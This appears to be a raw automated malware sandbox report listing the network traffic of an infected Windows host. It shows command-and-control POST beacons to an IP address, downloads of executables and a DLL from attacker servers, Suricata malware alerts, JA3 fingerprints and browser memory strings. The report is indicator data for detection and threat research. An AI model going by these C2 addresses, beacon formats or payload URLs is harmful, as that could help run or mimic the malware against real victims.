Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 34 32 37 37 34 42 31 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B42774B15882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 34 32 37 37 34 42 31 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B42774B15882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 34 32 37 37 34 42 31 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B42774B15882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49977 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49980 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49982 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49983 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49984 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49985 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49986 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49987 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49990 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49991 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49992 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49989 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49993 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49996 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49995 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49997 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:50005 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50008 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50015 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50022 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50042 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50044 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50047 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:50054 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50079 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50097 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50107 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50105 -> 188.114.96.3:443

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_00E8BE30 Sleep,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

6_2_00E8BE30

Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /rUdtpijYYaAroyCEkvvS1731840403 HTTP/1.1Host: home.fvtejj5vs.topAccept: /
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: firefox.exe, 0000001B.00000002.3311784302.000001D16B076000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3311784302.000001D16B076000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3311784302.000001D16B076000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3311784302.000001D16B076000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.3311784302.000001D16B076000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A1E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: WHERE b.guid IN (UpdateService:_selectAndInstallUpdate - update not supported for this system. Notifying observers. topic: update-available, status: unsupportedUpdateService:_postUpdateProcessing - status is pending-elevate, but this is a silent startup, so the elevation window has been suppressed.https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A1E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: WHERE b.guid IN (UpdateService:_selectAndInstallUpdate - update not supported for this system. Notifying observers. topic: update-available, status: unsupportedUpdateService:_postUpdateProcessing - status is pending-elevate, but this is a silent startup, so the elevation window has been suppressed.https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A1E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You must provide a target ID as the second parameter of AlsoToOneContent. If you want to send to all content processes, use BroadcastToContenthttps://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/( equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| 'www.' \|\| :strippedURL AND :prefix \|\| 'www.' \|\| :strippedURL \|\| X'FFFF'https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.moz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/lib/about_compat_broker.jsmoz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/lib/intervention_helpers.jsRestartOnLastWindowClosed.#maybeRestartBrowser - Unexpectedly attempted to restart when RestartOnLastWindowClosed ought to be disabled! (not restarting)True if the "Variant 2" of the Migration Wizard browser / profile selection UI should be used. This is only meaningful in the new Migration Wizard.UpdateService:_postUpdateProcessing - removing update for older application version or same application version with same build ID. update application version: [{incognito:null, tabId:null, types:["main_frame"], urls:["://login.microsoftonline.com/", "://login.microsoftonline.us/"], windowId:null}, ["blocking"]]UpdateService:downloadUpdate - Skipping download of update since it is for an earlier or same application version and build ID. equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| 'www.' \|\| :strippedURL AND :prefix \|\| 'www.' \|\| :strippedURL \|\| X'FFFF'https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.moz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/lib/about_compat_broker.jsmoz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/lib/intervention_helpers.jsRestartOnLastWindowClosed.#maybeRestartBrowser - Unexpectedly attempted to restart when RestartOnLastWindowClosed ought to be disabled! (not restarting)True if the "Variant 2" of the Migration Wizard browser / profile selection UI should be used. This is only meaningful in the new Migration Wizard.UpdateService:_postUpdateProcessing - removing update for older application version or same application version with same build ID. update application version: [{incognito:null, tabId:null, types:["main_frame"], urls:["://login.microsoftonline.com/", "://login.microsoftonline.us/"], windowId:null}, ["blocking"]]UpdateService:downloadUpdate - Skipping download of update since it is for an earlier or same application version and build ID. equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| 'www.' \|\| :strippedURL AND :prefix \|\| 'www.' \|\| :strippedURL \|\| X'FFFF'https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.moz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/lib/about_compat_broker.jsmoz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/lib/intervention_helpers.jsRestartOnLastWindowClosed.#maybeRestartBrowser - Unexpectedly attempted to restart when RestartOnLastWindowClosed ought to be disabled! (not restarting)True if the "Variant 2" of the Migration Wizard browser / profile selection UI should be used. This is only meaningful in the new Migration Wizard.UpdateService:_postUpdateProcessing - removing update for older application version or same application version with same build ID. update application version: [{incognito:null, tabId:null, types:["main_frame"], urls:["://login.microsoftonline.com/", "://login.microsoftonline.us/"], windowId:null}, ["blocking"]]UpdateService:downloadUpdate - Skipping download of update since it is for an earlier or same application version and build ID. equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: WHERE Selects which parsing/delazification strategy should be used while parsing scripts off-main-thread. See DelazificationOption in CompileOptions.h for values.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEDeferredTask@resource://gre/modules/DeferredTask.sys.mjs:117:18 equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: WHERE Selects which parsing/delazification strategy should be used while parsing scripts off-main-thread. See DelazificationOption in CompileOptions.h for values.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEDeferredTask@resource://gre/modules/DeferredTask.sys.mjs:117:18 equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: WHERE Selects which parsing/delazification strategy should be used while parsing scripts off-main-thread. See DelazificationOption in CompileOptions.h for values.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEDeferredTask@resource://gre/modules/DeferredTask.sys.mjs:117:18 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: (browserSettings.update.channel == "release") && (!((currentDate\|date - profileAgeCreated\|date) / 3600000 <= 24)) && (version\|versionCompare('116.!') >= 0)https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/[{incognito:null, tabId:null, types:["main_frame"], urls:["://login.microsoftonline.com/", "://login.microsoftonline.us/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: (browserSettings.update.channel == "release") && (!((currentDate\|date - profileAgeCreated\|date) / 3600000 <= 24)) && (version\|versionCompare('116.!') >= 0)https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/[{incognito:null, tabId:null, types:["main_frame"], urls:["://login.microsoftonline.com/", "://login.microsoftonline.us/"], windowId:null}, ["blocking"]] equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: (browserSettings.update.channel == "release") && (!((currentDate\|date - profileAgeCreated\|date) / 3600000 <= 24)) && (version\|versionCompare('116.!') >= 0)https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/[{incognito:null, tabId:null, types:["main_frame"], urls:["://login.microsoftonline.com/", "://login.microsoftonline.us/"], windowId:null}, ["blocking"]] equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: (browserSettings.update.channel == "release") && ((experiment.slug in activeExperiments) \|\| ((!os.isMac) && (version\|versionCompare('111.!') >= 0)))https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: (browserSettings.update.channel == "release") && ((experiment.slug in activeExperiments) \|\| ((!os.isMac) && (version\|versionCompare('111.!') >= 0)))https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: (browserSettings.update.channel == "release") && ((experiment.slug in activeExperiments) \|\| ((!os.isMac) && (version\|versionCompare('111.!') >= 0)))https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000003.3263332602.000001D16F986000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000003.3228042025.000001D176187000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3326689392.000001D16E669000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3391699036.000001D176187000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000003.3228042025.000001D176187000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3326689392.000001D16E669000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3391699036.000001D176187000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3331315127.000001D16EAB1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3345520316.000001D16F189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
